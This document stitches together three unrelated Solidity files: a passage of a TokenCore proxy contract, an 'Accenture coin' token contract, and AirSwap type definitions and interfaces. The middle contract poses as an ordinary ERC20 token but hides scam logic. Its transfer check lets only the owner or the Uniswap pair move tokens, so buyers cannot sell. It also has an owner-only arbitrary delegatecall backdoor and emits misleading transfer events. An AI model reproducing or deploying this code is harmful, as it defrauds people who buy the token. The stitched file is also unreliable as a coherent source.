// DelegateId => AuditConfiguration[]
mapping (uint256 => AuditConfiguration) internal auditConfigurations;
mapping (uint256 => uint256[]) internal delegatesConfigurations_;
mapping (address => TokenData) internal tokens;
// Scope x ScopeId => AuditStorage
mapping (address => mapping (uint256 => AuditStorage)) internal audits;
// Prevents transfer on behalf
mapping (address => bool) internal selfManaged;
IUserRegistry internal userRegistry_;
IRatesProvider internal ratesProvider_;
address internal currency_;
string internal name_;
/**
* @dev currentTime()
*/
function currentTime() internal view returns (uint64) {
// solhint-disable-next-line not-rely-on-time
return uint64(now);
}
}
// File: contracts/interface/ITokenCore.sol
pragma solidity ^0.6.0;
/**
* @title ITokenCore
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
**/
abstract contract ITokenCore is ITokenStorage, IOperableCore {
function name() virtual public view returns (string memory);
function oracle() virtual public view returns (
IUserRegistry userRegistry,
IRatesProvider ratesProvider,
address currency);
function auditConfiguration(uint256 _configurationId)
virtual public view returns (
uint256 scopeId,
AuditMode mode,
uint256[] memory senderKeys,
uint256[] memory receiverKeys,
IRatesProvider ratesProvider,
address currency);
function auditTriggers(
uint256 _configurationId,
address[] memory _triggers) virtual public view returns (
bool[] memory senders,
bool[] memory receivers,
bool[] memory tokens);
function delegatesConfigurations(uint256 _delegateId)
virtual public view returns (uint256[] memory);
function auditCurrency(
address _scope,
uint256 _scopeId
) virtual external view returns (address currency);
function audit(
address _scope,
uint256 _scopeId,
AuditStorageMode _storageMode,
bytes32 _storageId) virtual external view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception);
/************** ERC20 **************/
function tokenName() virtual external view returns (string memory);
function tokenSymbol() virtual external view returns (string memory);
function decimals() virtual external returns (uint256);
function totalSupply() virtual external returns (uint256);
function balanceOf(address) virtual external returns (uint256);
function allowance(address, address) virtual external returns (uint256);
function transfer(address, address, uint256)
virtual external returns (bool status);
function transferFrom(address, address, address, uint256)
virtual external returns (bool status);
function approve(address, address, uint256)
virtual external returns (bool status);
function increaseApproval(address, address, uint256)
virtual external returns (bool status);
function decreaseApproval(address, address, uint256)
virtual external returns (bool status);
/*********** TOKEN DATA ***********/
function token(address _token) external view virtual returns (
bool mintingFinished,
uint256 allTimeMinted,
uint256 allTimeBurned,
uint256 allTimeSeized,
uint256[2] memory lock,
address[] memory lockExceptions,
uint256 freezedUntil,
IRule[] memory);
function canTransfer(address, address, uint256)
virtual external returns (uint256);
/*********** TOKEN ADMIN ***********/
function mint(address, address[] calldata, uint256[] calldata)
virtual external returns (bool);
function finishMinting(address)
virtual external returns (bool);
function burn(address, uint256)
virtual external returns (bool);
function seize(address _token, address, uint256)
virtual external returns (bool);
function freezeManyAddresses(
address _token,
address[] calldata _addresses,
uint256 _until) virtual external returns (bool);
function defineLock(address, uint256, uint256, address[] calldata)
virtual external returns (bool);
function defineRules(address, IRule[] calldata) virtual external returns (bool);
/************ CORE ADMIN ************/
function defineToken(
address _token,
uint256 _delegateId,
string memory _name,
string memory _symbol,
uint256 _decimals) virtual external returns (bool);
function migrateToken(address _token, address _newCore)
virtual external returns (bool);
function removeToken(address _token) virtual external returns (bool);
function defineOracle(
IUserRegistry _userRegistry,
IRatesProvider _ratesProvider,
address _currency) virtual external returns (bool);
function defineTokenDelegate(
uint256 _delegateId,
address _delegate,
uint256[] calldata _configurations) virtual external returns (bool);
function defineAuditConfiguration(
uint256 _configurationId,
uint256 _scopeId,
AuditMode _mode,
uint256[] calldata _senderKeys,
uint256[] calldata _receiverKeys,
IRatesProvider _ratesProvider,
address _currency) virtual external returns (bool);
function removeAudits(address _scope, uint256 _scopeId)
virtual external returns (bool);
function defineAuditTriggers(
uint256 _configurationId,
address[] calldata _triggerAddresses,
bool[] calldata _triggerSenders,
bool[] calldata _triggerReceivers,
bool[] calldata _triggerTokens) virtual external returns (bool);
function isSelfManaged(address _owner)
virtual external view returns (bool);
function manageSelf(bool _active)
virtual external returns (bool);
}
// File: contracts/interface/ITokenDelegate.sol
pragma solidity ^0.6.0;
/**
* @title Token Delegate Interface
* @dev Token Delegate Interface
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
*/
abstract contract ITokenDelegate is ITokenStorage {
function decimals() virtual public view returns (uint256);
function totalSupply() virtual public view returns (uint256);
function balanceOf(address _owner) virtual public view returns (uint256);
function allowance(address _owner, address _spender)
virtual public view returns (uint256);
function transfer(address _sender, address _receiver, uint256 _value)
virtual public returns (bool);
function transferFrom(
address _caller, address _sender, address _receiver, uint256 _value)
virtual public returns (bool);
function canTransfer(
address _sender,
address _receiver,
uint256 _value) virtual public view returns (TransferCode);
function approve(address _sender, address _spender, uint256 _value)
virtual public returns (bool);
function increaseApproval(address _sender, address _spender, uint _addedValue)
virtual public returns (bool);
function decreaseApproval(address _sender, address _spender, uint _subtractedValue)
virtual public returns (bool);
function checkConfigurations(uint256[] memory _auditConfigurationIds)
virtual public returns (bool);
}
// File: contracts/TokenCore.sol
pragma solidity ^0.6.0;
/**
* @title TokenCore
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* TC01: Token cannot be equivalent to AllProxies
* TC02: Currency stored values must remain consistent
* TC03: Delegate has invalid audit configurations values
* TC04: Mismatched between the configuration and the audit storage currency
* TC05: The audit triggers definition requires the same number of addresses and values
**/
contract TokenCore is ITokenCore, OperableCore, TokenStorage {
/**
* @dev constructor
*
* @dev It is desired for now that delegates
* @dev cannot be changed once the core has been deployed.
*/
constructor(string memory _name, address[] memory _sysOperators)
public OperableCore(_sysOperators)
{
name_ = _name;
}
function name() override public view returns (string memory) {
return name_;
}
function oracle() override public view returns (
IUserRegistry userRegistry,
IRatesProvider ratesProvider,
address currency)
{
return (userRegistry_, ratesProvider_, currency_);
}
function auditConfiguration(uint256 _configurationId)
override public view returns (
uint256 scopeId,
AuditMode mode,
uint256[] memory senderKeys,
uint256[] memory receiverKeys,
IRatesProvider ratesProvider,
address currency)
{
AuditConfiguration storage auditConfiguration_ = auditConfigurations[_configurationId];
return (
auditConfiguration_.scopeId,
auditConfiguration_.mode,
auditConfiguration_.senderKeys,
auditConfiguration_.receiverKeys,
auditConfiguration_.ratesProvider,
audits[address(this)][auditConfiguration_.scopeId].currency
);
}
function auditTriggers(
uint256 _configurationId, address[] memory _triggers)
override public view returns (
bool[] memory senders,
bool[] memory receivers,
bool[] memory tokens
)
{
AuditConfiguration storage auditConfiguration_ = auditConfigurations[_configurationId];
senders = new bool[](_triggers.length);
receivers = new bool[](_triggers.length);
tokens = new bool[](_triggers.length);
for(uint256 i=0; i < _triggers.length; i++) {
senders[i] = auditConfiguration_.triggerSenders[_triggers[i]];
receivers[i] = auditConfiguration_.triggerReceivers[_triggers[i]];
tokens[i] = auditConfiguration_.triggerTokens[_triggers[i]];
}
}
function delegatesConfigurations(uint256 _delegateId)
override public view returns (uint256[] memory)
{
return delegatesConfigurations_[_delegateId];
}
function auditCurrency(
address _scope,
uint256 _scopeId
) override external view returns (address currency) {
return audits[_scope][_scopeId].currency;
}
function audit(
address _scope,
uint256 _scopeId,
AuditStorageMode _storageMode,
bytes32 _storageId) override external view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception)
{
AuditData memory auditData;
if (_storageMode == AuditStorageMode.SHARED) {
auditData = audits[_scope][_scopeId].sharedData;
}
if (_storageMode == AuditStorageMode.ADDRESS) {
auditData = audits[_scope][_scopeId].addressData[address(bytes20(_storageId))];
}
if (_storageMode == AuditStorageMode.USER_ID) {
auditData = audits[_scope][_scopeId].userData[uint256(_storageId)];
}
createdAt = auditData.createdAt;
lastTransactionAt = auditData.lastTransactionAt;
cumulatedEmission = auditData.cumulatedEmission;
cumulatedReception = auditData.cumulatedReception;
}
/************** ERC20 **************/
function tokenName() override external view returns (string memory) {
return tokens[msg.sender].name;
}
function tokenSymbol() override external view returns (string memory) {
return tokens[msg.sender].symbol;
}
function decimals() override external onlyProxy returns (uint256) {
return delegateCallUint256(msg.sender);
}
function totalSupply() override external onlyProxy returns (uint256) {
return delegateCallUint256(msg.sender);
}
function balanceOf(address) external onlyProxy override returns (uint256) {
return delegateCallUint256(msg.sender);
}
function allowance(address, address)
override external onlyProxy returns (uint256)
{
return delegateCallUint256(msg.sender);
}
function transfer(address, address, uint256)
override external onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function transferFrom(address, address, address, uint256)
override external onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function approve(address, address, uint256)
override external onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function increaseApproval(address, address, uint256)
override external onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function decreaseApproval(address, address, uint256)
override external onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
/*********** TOKEN DATA ***********/
function token(address _token) override external view returns (
bool mintingFinished,
uint256 allTimeMinted,
uint256 allTimeBurned,
uint256 allTimeSeized,
uint256[2] memory lock,
address[] memory lockExceptions,
uint256 frozenUntil,
IRule[] memory rules) {
TokenData storage tokenData = tokens[_token];
mintingFinished = tokenData.mintingFinished;
allTimeMinted = tokenData.allTimeMinted;
allTimeBurned = tokenData.allTimeBurned;
allTimeSeized = tokenData.allTimeSeized;
lock = [ tokenData.lock.startAt, tokenData.lock.endAt ];
lockExceptions = tokenData.lock.exceptionsList;
frozenUntil = tokenData.frozenUntils[_token];
rules = tokenData.rules;
}
function canTransfer(address, address, uint256)
override external onlyProxy returns (uint256)
{
return delegateCallUint256(msg.sender);
}
/*********** TOKEN ADMIN ***********/
function mint(address _token, address[] calldata, uint256[] calldata)
override external onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function finishMinting(address _token)
override external onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function burn(address _token, uint256)
override external onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function seize(address _token, address, uint256)
override external onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function freezeManyAddresses(
address _token,
address[] calldata,
uint256) override external onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function defineLock(address _token, uint256, uint256, address[] calldata)
override external onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function defineRules(address _token, IRule[] calldata)
override external onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
/************ CORE ADMIN ************/
function defineToken(
address _token,
uint256 _delegateId,
string calldata _name,
string calldata _symbol,
uint256 _decimals)
override external onlyCoreOp returns (bool)
{
require(_token != ALL_PROXIES, "TC01");
defineProxyInternal(_token, _delegateId);
TokenData storage tokenData = tokens[_token];
tokenData.name = _name;
tokenData.symbol = _symbol;
tokenData.decimals = _decimals;
emit TokenDefined(_token, _delegateId, _name, _symbol, _decimals);
return true;
}
function migrateToken(address _token, address _newCore)
override external onlyCoreOp returns (bool)
{
migrateProxyInternal(_token, _newCore);
emit TokenMigrated(_token, _newCore);
return true;
}
function removeToken(address _token)
override external onlyCoreOp returns (bool)
{
removeProxyInternal(_token);
delete tokens[_token];
emit TokenRemoved(_token);
return true;
}
function defineOracle(
IUserRegistry _userRegistry,
IRatesProvider _ratesProvider,
address _currency)
override external onlyCoreOp returns (bool)
{
userRegistry_ = _userRegistry;
ratesProvider_ = _ratesProvider;
currency_ = _currency;
emit OracleDefined(userRegistry_, _ratesProvider, _currency);
return true;
}
function defineTokenDelegate(
uint256 _delegateId,
address _delegate,
uint256[] calldata _auditConfigurations) override external onlyCoreOp returns (bool)
{
require(_delegate == address(0) ||
ITokenDelegate(_delegate).checkConfigurations(_auditConfigurations), "TC03");
defineDelegateInternal(_delegateId, _delegate);
if(_delegate != address(0)) {
delegatesConfigurations_[_delegateId] = _auditConfigurations;
emit TokenDelegateDefined(_delegateId, _delegate, _auditConfigurations);
} else {
delete delegatesConfigurations_[_delegateId];
emit TokenDelegateRemoved(_delegateId);
}
return true;
}
function defineAuditConfiguration(
uint256 _configurationId,
uint256 _scopeId,
AuditMode _mode,
uint256[] calldata _senderKeys,
uint256[] calldata _receiverKeys,
IRatesProvider _ratesProvider,
address _currency) override external onlyCoreOp returns (bool)
{
// Mark permanently the core audit storage with the currency to be used with
AuditStorage storage auditStorage = audits[address(this)][_scopeId];
if(auditStorage.currency == address(0)) {
auditStorage.currency = _currency;
} else {
require(auditStorage.currency == _currency, "TC04");
}
AuditConfiguration storage auditConfiguration_ = auditConfigurations[_configurationId];
auditConfiguration_.mode = _mode;
auditConfiguration_.scopeId = _scopeId;
auditConfiguration_.senderKeys = _senderKeys;
auditConfiguration_.receiverKeys = _receiverKeys;
auditConfiguration_.ratesProvider = _ratesProvider;
emit AuditConfigurationDefined(
_configurationId,
_scopeId,
_mode,
_senderKeys,
_receiverKeys,
_ratesProvider,
_currency);
return true;
}
function removeAudits(address _scope, uint256 _scopeId)
override external onlyCoreOp returns (bool)
{
delete audits[_scope][_scopeId];
emit AuditsRemoved(_scope, _scopeId);
return true;
}
function defineAuditTriggers(
uint256 _configurationId,
address[] calldata _triggerAddresses,
bool[] calldata _triggerTokens,
bool[] calldata _triggerSenders,
bool[] calldata _triggerReceivers) override external onlyCoreOp returns (bool)
{
require(_triggerAddresses.length == _triggerSenders.length
&& _triggerAddresses.length == _triggerReceivers.length
&& _triggerAddresses.length == _triggerTokens.length, "TC05");
AuditConfiguration storage auditConfiguration_ = auditConfigurations[_configurationId];
for(uint256 i=0; i < _triggerAddresses.length; i++) {
auditConfiguration_.triggerSenders[_triggerAddresses[i]] = _triggerSenders[i];
auditConfiguration_.triggerReceivers[_triggerAddresses[i]] = _triggerReceivers[i];
auditConfiguration_.triggerTokens[_triggerAddresses[i]] = _triggerTokens[i];
}
emit AuditTriggersDefined(_configurationId, _triggerAddresses, _triggerTokens, _triggerSenders, _triggerReceivers);
return true;
}
function isSelfManaged(address _owner)
override external view returns (bool)
{
return selfManaged[_owner];
}
function manageSelf(bool _active)
override external returns (bool)
{
selfManaged[msg.sender] = _active;
emit SelfManaged(msg.sender, _active);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Accenture coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Accenturecoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity 0.5.12;
pragma experimental ABIEncoderV2;
// File: @airswap/types/contracts/Types.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title Types: Library of Swap Protocol Types and Hashes
*/
library Types {
bytes constant internal EIP191_HEADER = "\x19\x01";
struct Order {
uint256 nonce; // Unique per order and should be sequential
uint256 expiry; // Expiry in seconds since 1 January 1970
Party signer; // Party to the trade that sets terms
Party sender; // Party to the trade that accepts terms
Party affiliate; // Party compensated for facilitating (optional)
Signature signature; // Signature of the order
}
struct Party {
bytes4 kind; // Interface ID of the token
address wallet; // Wallet address of the party
address token; // Contract address of the token
uint256 amount; // Amount for ERC-20 or ERC-1155
uint256 id; // ID for ERC-721 or ERC-1155
}
struct Signature {
address signatory; // Address of the wallet used to sign
address validator; // Address of the intended swap contract
bytes1 version; // EIP-191 signature version
uint8 v; // `v` value of an ECDSA signature
bytes32 r; // `r` value of an ECDSA signature
bytes32 s; // `s` value of an ECDSA signature
}
bytes32 constant internal DOMAIN_TYPEHASH = keccak256(abi.encodePacked(
"EIP712Domain(",
"string name,",
"string version,",
"address verifyingContract",
")"
));
bytes32 constant internal ORDER_TYPEHASH = keccak256(abi.encodePacked(
"Order(",
"uint256 nonce,",
"uint256 expiry,",
"Party signer,",
"Party sender,",
"Party affiliate",
")",
"Party(",
"bytes4 kind,",
"address wallet,",
"address token,",
"uint256 amount,",
"uint256 id",
")"
));
bytes32 constant internal PARTY_TYPEHASH = keccak256(abi.encodePacked(
"Party(",
"bytes4 kind,",
"address wallet,",
"address token,",
"uint256 amount,",
"uint256 id",
")"
));
/**
* @notice Hash an order into bytes32
* @dev EIP-191 header and domain separator included
* @param order Order The order to be hashed
* @param domainSeparator bytes32
* @return bytes32 A keccak256 abi.encodePacked value
*/
function hashOrder(
Order calldata order,
bytes32 domainSeparator
) external pure returns (bytes32) {
return keccak256(abi.encodePacked(
EIP191_HEADER,
domainSeparator,
keccak256(abi.encode(
ORDER_TYPEHASH,
order.nonce,
order.expiry,
keccak256(abi.encode(
PARTY_TYPEHASH,
order.signer.kind,
order.signer.wallet,
order.signer.token,
order.signer.amount,
order.signer.id
)),
keccak256(abi.encode(
PARTY_TYPEHASH,
order.sender.kind,
order.sender.wallet,
order.sender.token,
order.sender.amount,
order.sender.id
)),
keccak256(abi.encode(
PARTY_TYPEHASH,
order.affiliate.kind,
order.affiliate.wallet,
order.affiliate.token,
order.affiliate.amount,
order.affiliate.id
))
))
));
}
/**
* @notice Hash domain parameters into bytes32
* @dev Used for signature validation (EIP-712)
* @param name bytes
* @param version bytes
* @param verifyingContract address
* @return bytes32 returns a keccak256 abi.encodePacked value
*/
function hashDomain(
bytes calldata name,
bytes calldata version,
address verifyingContract
) external pure returns (bytes32) {
return keccak256(abi.encode(
DOMAIN_TYPEHASH,
keccak256(name),
keccak256(version),
verifyingContract
));
}
}
// File: @airswap/delegate/contracts/interfaces/IDelegate.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
interface IDelegate {
struct Rule {
uint256 maxSenderAmount; // The maximum amount of ERC-20 token the delegate would send
uint256 priceCoef; // Number to be multiplied by 10^(-priceExp) - the price coefficient
uint256 priceExp; // Indicates location of the decimal priceCoef * 10^(-priceExp)
}
event SetRule(
address indexed owner,
address indexed senderToken,
address indexed signerToken,
uint256 maxSenderAmount,
uint256 priceCoef,
uint256 priceExp
);
event UnsetRule(
address indexed owner,
address indexed senderToken,
address indexed signerToken
);
event ProvideOrder(
address indexed owner,
address tradeWallet,
address indexed senderToken,
address indexed signerToken,
uint256 senderAmount,
uint256 priceCoef,
uint256 priceExp
);
function setRule(
address senderToken,
address signerToken,
uint256 maxSenderAmount,
uint256 priceCoef,
uint256 priceExp
) external;
function unsetRule(
address senderToken,
address signerToken
) external;
function provideOrder(
Types.Order calldata order
) external;
function rules(address, address) external view returns (Rule memory);
function getSignerSideQuote(
uint256 senderAmount,
address senderToken,
address signerToken
) external view returns (
uint256 signerAmount
);
function getSenderSideQuote(
uint256 signerAmount,
address signerToken,
address senderToken
) external view returns (
uint256 senderAmount
);
function getMaxQuote(
address senderToken,
address signerToken
) external view returns (
uint256 senderAmount,
uint256 signerAmount
);
function owner()
external view returns (address);
function tradeWallet()
external view returns (address);
}
// File: @airswap/indexer/contracts/interfaces/IIndexer.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
interface IIndexer {
event CreateIndex(
address indexed signerToken,
address indexed senderToken,
bytes2 protocol,
address indexAddress
);
event Stake(
address indexed staker,
address indexed signerToken,
address indexed senderToken,
bytes2 protocol,
uint256 stakeAmount
);
event Unstake(
address indexed staker,
address indexed signerToken,
address indexed senderToken,
bytes2 protocol,
uint256 stakeAmount
);
event AddTokenToBlacklist(
address token
);
event RemoveTokenFromBlacklist(
address token
);
function setLocatorWhitelist(
bytes2 protocol,
address newLocatorWhitelist
) external;
function createIndex(
address signerToken,
address senderToken,
bytes2 protocol
) external returns (address);
function addTokenToBlacklist(
address token
) external;
function removeTokenFromBlacklist(
address token
) external;
function setIntent(
address signerToken,
address senderToken,
bytes2 protocol,
uint256 stakingAmount,
bytes32 locator
) external;
function unsetIntent(
address signerToken,
address senderToken,
bytes2 protocol
) external;
function stakingToken() external view returns (address);
function indexes(address, address, bytes2) external view returns (address);
function tokenBlacklist(address) external view returns (bool);
function getStakedAmount(
address user,
address signerToken,
address senderToken,
bytes2 protocol
) external view returns (uint256);
function getLocators(
address signerToken,
address senderToken,
bytes2 protocol,
address cursor,
uint256 limit
) external view returns (
bytes32[] memory,
uint256[] memory,
address
);
}
// File: @airswap/transfers/contracts/interfaces/ITransferHandler.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title ITransferHandler: interface for token transfers
*/
interface ITransferHandler {
/**
* @notice Function to wrap token transfer for different token types
* @param from address Wallet address to transfer from
* @param to address Wallet address to transfer to
* @param amount uint256 Amount for ERC-20
* @param id token ID for ERC-721
* @param token address Contract address of token
* @return bool on success of the token transfer
*/
function transferTokens(
address from,
address to,
uint256 amount,
uint256 id,
address token
) external returns (bool);
}
// File: openzeppelin-solidity/contracts/GSN/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
